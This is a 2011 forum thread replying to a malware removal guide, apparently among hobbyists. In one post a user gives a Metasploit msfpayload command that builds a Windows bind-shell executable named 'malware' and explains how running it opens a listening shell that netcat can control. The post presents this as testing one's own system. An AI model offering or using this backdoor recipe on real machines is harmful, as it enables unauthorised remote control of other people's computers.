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RE: Malware removal guide

Postby Klinc » May 29th, 2011, 7:22 pm

shovenose wrote:I might try it on my netbook that i dont care about at some point...


it doesn't destroy data or anything malicious. So you don't have to worry lol
You can create a backdoor with it. Its got a lot of exploits to see if your system is vulnerable you choose a exploit and a payload and see if you can control your own system and create a backdoor. That's basically it lol. I attack my own windows from a virtual machine when I'm bored

You can do this just to get the feel of it
msf > msfpayload windows/shell/bind_tcp LPORT=22222 X > malware

msfpayload windows/shell/bind_tcp” selects the windows/shell/bind_tcp payload.This payload will open a Windows shell (command prompt) listening on a TCP port we select. “LPORT=2222″ sets TCP port 22222 as the port the shell will listen on. “X” will make the payload executable on a Windows system. “> malware” puts the payload into into a file called malware. Now you have a file called malware.exe that will open a shell listening on TCP port 22222. All you need to do now is execute the file on a Windows system. Once executed, you can connect to the compromised system with a program like netcat and pass commands to the computer. You can call the file anything. Now test it by double clicking the exe file you created on a windows system. You should be able to control it with another system lol
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RE: Malware removal guide

Postby shovenose » May 29th, 2011, 9:12 pm

not tonight. ill mess around with that when i get the chance :D
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RE: Malware removal guide

Postby Morsec0de » June 3rd, 2011, 7:47 am

Nice guide, not very well paragraphed/formatted, but nevermind. Interesting about those Run cmds, didn't know about them. I knew about ipconfig /flushdns though, not the end bit.

What do those cmds actually do?
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RE: Malware removal guide

Postby shovenose » June 3rd, 2011, 11:43 am

just type in ipconfig help into command prompt it will tell you.
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RE: Malware removal guide

Postby Morsec0de » June 4th, 2011, 12:19 am

shovenose wrote:just type in ipconfig help into command prompt it will tell you.


I can't read that incredibly fast. I type that in, and it stays for about a second and disappears. I'll look it up on my good friend Google.
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RE: Malware removal guide

Postby Klinc » August 5th, 2011, 7:38 pm

Morsec0de wrote:Nice guide, not very well paragraphed/formatted, but nevermind. Interesting about those Run cmds, didn't know about them. I knew about ipconfig /flushdns though, not the end bit.

What do those cmds actually do?


its a work in progress. It was done on a nokia E63
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Re: Malware removal guide

Postby Klinc » November 17th, 2011, 6:24 am

Fixed the color issues and such
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